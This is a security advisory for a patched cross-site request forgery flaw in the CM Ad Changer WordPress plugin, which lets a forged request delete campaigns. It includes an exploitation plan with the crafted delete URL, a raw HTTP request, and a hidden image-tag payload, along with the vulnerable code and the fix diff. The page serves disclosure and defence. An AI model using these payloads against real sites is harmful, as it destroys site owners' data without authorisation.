CVE-2026-9236

CM Ad Changer <= 2.0.7 - Cross-Site Request Forgery to Campaign Deletion via Campaign Management

mediumCross-Site Request Forgery (CSRF)
4.3
CVSS Score
4.3
CVSS Score
medium
Severity
2.0.8
Patched in
1d
Time to patch

Description

The CM Ad Changer – A simple tool to control and optimize your site's banners plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 2.0.7. This is due to missing or incorrect nonce validation on the cmac_campaigns_action function. This makes it possible for unauthenticated attackers to permanently delete arbitrary advertising campaigns, including their associated banner records and uploaded files via a forged request granted they can trick a site administrator into performing an action such as clicking on a link.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
Required
Scope
Unchanged
None
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=2.0.7
PublishedMay 26, 2026
Last updatedMay 27, 2026
Affected plugincm-ad-changer

What Changed in the Fix

Changes introduced in v2.0.8

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan - CVE-2026-9236 ## 1. Vulnerability Summary The **CM Ad Changer** plugin (versions <= 2.0.7) is vulnerable to **Cross-Site Request Forgery (CSRF)**. The vulnerability exists because the plugin fails to perform nonce validation when processing campaign deletion requests …

Show full research plan

Exploitation Research Plan - CVE-2026-9236

1. Vulnerability Summary

The CM Ad Changer plugin (versions <= 2.0.7) is vulnerable to Cross-Site Request Forgery (CSRF). The vulnerability exists because the plugin fails to perform nonce validation when processing campaign deletion requests via the GET method. While the plugin implements check_admin_referer() for POST requests (used for updating campaign data), the logic branch handling GET-based actions (like deletion) lacks any security tokens. This allows an unauthenticated attacker to trick a logged-in administrator into permanently deleting advertising campaigns by visiting a malicious link.

2. Attack Vector Analysis

  • Endpoint: /wp-admin/admin.php
  • Query Parameters:
    • page: cmac_campaigns
    • action: delete
    • campaign_id: The integer ID of the campaign to be deleted.
  • Authentication Required: The victim must be a logged-in administrator with the manage_options capability.
  • Preconditions: At least one advertising campaign must exist in the system. The attacker needs to know (or guess/brute-force) the campaign_id.

3. Code Flow

  1. Entry Point: When an administrator accesses the Campaigns page, the hook registered in CMAdChangerBackend::cmac_admin_menu() (backend/cm-ad-changer-backend.php) triggers.
  2. Hook Registration:
    $campaigns_subpage = add_submenu_page( CMAC_MENU_OPTION, 'Campaigns', 'Campaigns', 'manage_options', 'cmac_campaigns', ... );
    add_action( $campaigns_subpage, array( self::$calledClassName, 'cmac_campaigns_action' ), 0 );
    
  3. Vulnerable Function: The cmac_campaigns_action() function is called.
  4. Security Gap:
    • Lines 134-135: The code checks for $_POST and validates a nonce for updates:
      if ( !empty( $_POST ) && check_admin_referer( 'cmac-update-campaign-data' ) ) { ... }
      
    • Lines 159-160: If $_POST is empty (a GET request), the else block executes:
      } else {
          if ( isset( $_GET[ 'action' ] ) ) {
              if ( isset( $_GET[ 'campaign_id' ] ) && is_numeric( $_GET[ 'campaign_id' ] ) ) {
                  switch ( $_GET[ 'action' ] ) {
                      // ...
                      case 'delete':
                          CMAC_Data::cmac_remove_campaign( $_GET[ 'campaign_id' ] );
                          self::$success = 'Campaign was removed from database!';
                          break;
                  }
              }
          }
      }
      
    • Result: The delete case calls CMAC_Data::cmac_remove_campaign() without any nonce verification.

4. Nonce Acquisition Strategy

No nonce is required for the deletion action. The vulnerability stems from the fact that the GET branch of the code logic completely omits the check_admin_referer() or wp_verify_nonce() call found in the POST branch. An attacker can perform the deletion as long as the victim's session is active.

5. Exploitation Strategy

The goal is to trigger a GET request to the deletion URL via the administrator's browser.

Step-by-Step Plan:

  1. Identify Target: Determine the campaign_id of a campaign to delete. (In a PoC, we will create one first).
  2. Craft Payload: Construct the URL:
    http://TARGET_WP/wp-admin/admin.php?page=cmac_campaigns&action=delete&campaign_id=[ID]
  3. Execute Request: Use the http_request tool to simulate the administrator's browser making this request.

HTTP Request Payload:

GET /wp-admin/admin.php?page=cmac_campaigns&action=delete&campaign_id=1 HTTP/1.1
Host: localhost:8080
Cookie: [ADMIN_COOKIES]

6. Test Data Setup

To demonstrate the vulnerability:

  1. Install Plugin: Ensure CM Ad Changer v2.0.7 is active.
  2. Create Campaign: Use WP-CLI to insert a dummy campaign directly into the database (as the plugin's data management is handled via custom tables):
    wp db query "INSERT INTO wp_cmac_campaigns (title, status) VALUES ('Vulnerable Campaign', 1);"
    
  3. Verify ID: Get the ID of the newly created campaign:
    wp db query "SELECT campaign_id FROM wp_cmac_campaigns WHERE title='Vulnerable Campaign';"
    

7. Expected Results

  • Response: The server should return an HTTP 200 OK.
  • UI Feedback: Upon rendering the page, the plugin will set self::$success = 'Campaign was removed from database!', which typically displays an admin notice.
  • Database State: The record for the targeted campaign_id should be removed from the wp_cmac_campaigns table.

8. Verification Steps

After the HTTP request is sent, verify the deletion using WP-CLI:

# Attempt to find the campaign
wp db query "SELECT * FROM wp_cmac_campaigns WHERE title='Vulnerable Campaign';"

# Expected Output: Empty result set.

9. Alternative Approaches

If the administrator is not currently on an admin page, a CSRF can be staged on an external site using an <img> tag or a hidden <iframe> to trigger the GET request automatically when the admin views the attacker's page:

<img src="http://TARGET_WP/wp-admin/admin.php?page=cmac_campaigns&action=delete&campaign_id=1" style="display:none;">

Since the SameSite cookie attribute for WordPress session cookies is typically Lax, a cross-site GET request via a link or a top-level navigation will successfully carry the credentials required to authorize the deletion.

Research Findings
Static analysis — not yet PoC-verified

Summary

The CM Ad Changer plugin for WordPress is vulnerable to Cross-Site Request Forgery (CSRF) in versions up to 2.0.7 because it fails to perform nonce validation when handling campaign deletion via GET requests. This allows unauthenticated attackers to trick a logged-in administrator into permanently deleting advertising campaigns by having them visit a crafted URL.

Vulnerable Code

/* backend/cm-ad-changer-backend.php:159 */
		} else {
			if ( isset( $_GET[ 'action' ] ) ) {
				if ( isset( $_GET[ 'campaign_id' ] ) && is_numeric( $_GET[ 'campaign_id' ] ) ) {
					switch ( $_GET[ 'action' ] ) {
                        // ... (truncated)
						case 'delete':
							CMAC_Data::cmac_remove_campaign( $_GET[ 'campaign_id' ] );
							self::$success = 'Campaign was removed from database!';
							break;
					}
				}
			}
		}

---

/* backend/views/admin_campaigns.php:50 */
							<td class="actions">
								<a href="<?php echo get_bloginfo( 'wpurl' ) ?>/wp-admin/admin.php?page=<?php echo $pageName ?>&action=edit&campaign_id=<?php echo $campaign->campaign_id ?>"><img src="<?php echo self::$cssPath . 'images/edit.png' ?>" /></a>
								<a href="<?php echo get_bloginfo( 'wpurl' ) ?>/wp-admin/admin.php?page=<?php echo $pageName ?>&action=delete&campaign_id=<?php echo $campaign->campaign_id ?>" class="delete_campaign_link"><img src="<?php echo self::$cssPath . 'images/trash.png' ?>" /></a>
							</td>

Security Fix

diff -ru /home/deploy/wp-safety.org/data/plugin-versions/cm-ad-changer/2.0.7/backend/cm-ad-changer-backend.php /home/deploy/wp-safety.org/data/plugin-versions/cm-ad-changer/2.0.8/backend/cm-ad-changer-backend.php
--- /home/deploy/wp-safety.org/data/plugin-versions/cm-ad-changer/2.0.7/backend/cm-ad-changer-backend.php	2025-06-12 08:09:44.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/cm-ad-changer/2.0.8/backend/cm-ad-changer-backend.php	2026-05-22 14:39:48.000000000 +0000
@@ -174,7 +174,14 @@
 							}
 							break;
 						case 'delete':
-							CMAC_Data::cmac_remove_campaign( $_GET[ 'campaign_id' ] );
+							$campaign_id = isset($_GET['campaign_id']) ? absint($_GET['campaign_id']) : 0;
+							if ( !isset($_GET['_wpnonce']) || !wp_verify_nonce(sanitize_text_field( wp_unslash( $_GET['_wpnonce'] ) ), 'delete_campaign_' . $campaign_id) ) {
+								wp_die( 'Security check failed.' );
+							}
+							if ( !current_user_can('manage_options') ) {
+								wp_die( 'You do not have permission to perform this action.' );
+							}
+							CMAC_Data::cmac_remove_campaign( $campaign_id );
 							self::$success = 'Campaign was removed from database!';
 							break;
 					}
diff -ru /home/deploy/wp-safety.org/data/plugin-versions/cm-ad-changer/2.0.7/backend/views/admin_campaigns.php /home/deploy/wp-safety.org/data/plugin-versions/cm-ad-changer/2.0.8/backend/views/admin_campaigns.php
--- /home/deploy/wp-safety.org/data/plugin-versions/cm-ad-changer/2.0.7/backend/views/admin_campaigns.php	2025-06-12 08:09:44.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/cm-ad-changer/2.0.8/backend/views/admin_campaigns.php	2026-05-22 14:39:48.000000000 +0000
@@ -47,7 +47,14 @@
 							<td><?php echo (($campaign->status == '1') ? 'Active' : 'Inactive') ?></td>
 							<td class="actions">
 								<a href="<?php echo get_bloginfo( 'wpurl' ) ?>/wp-admin/admin.php?page=<?php echo $pageName ?>&action=edit&campaign_id=<?php echo $campaign->campaign_id ?>"><img src="<?php echo self::$cssPath . 'images/edit.png' ?>" /></a>
-								<a href="<?php echo get_bloginfo( 'wpurl' ) ?>/wp-admin/admin.php?page=<?php echo $pageName ?>&action=delete&campaign_id=<?php echo $campaign->campaign_id ?>" class="delete_campaign_link"><img src="<?php echo self::$cssPath . 'images/trash.png' ?>" /></a>
+								<?php
+								$delete_url = wp_nonce_url(
+									get_bloginfo('wpurl') . '/wp-admin/admin.php?page=' . $pageName .
+									'&action=delete&campaign_id=' . $campaign->campaign_id,
+									'delete_campaign_' . $campaign->campaign_id
+								);
+								?>
+								<a href="<?php echo esc_url($delete_url); ?>" class="delete_campaign_link"><img src="<?php echo self::$cssPath . 'images/trash.png' ?>" /></a>
 							</td>
 						</tr>
 					<?php endforeach; ?>

Exploit Outline

To exploit this CSRF vulnerability, an attacker targets the cmac_campaigns_action handler in the backend. Since the plugin fails to check for a nonce when processing GET requests for the 'delete' action, the attacker crafts a malicious link targeting /wp-admin/admin.php?page=cmac_campaigns&action=delete&campaign_id=[ID]. The attacker then tricks a logged-in administrator into visiting this URL (e.g., via a phishing link or an embedded <img> tag on an external site). If the administrator is authenticated and has the 'manage_options' capability, the request will execute, causing the specified campaign to be permanently deleted from the database.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.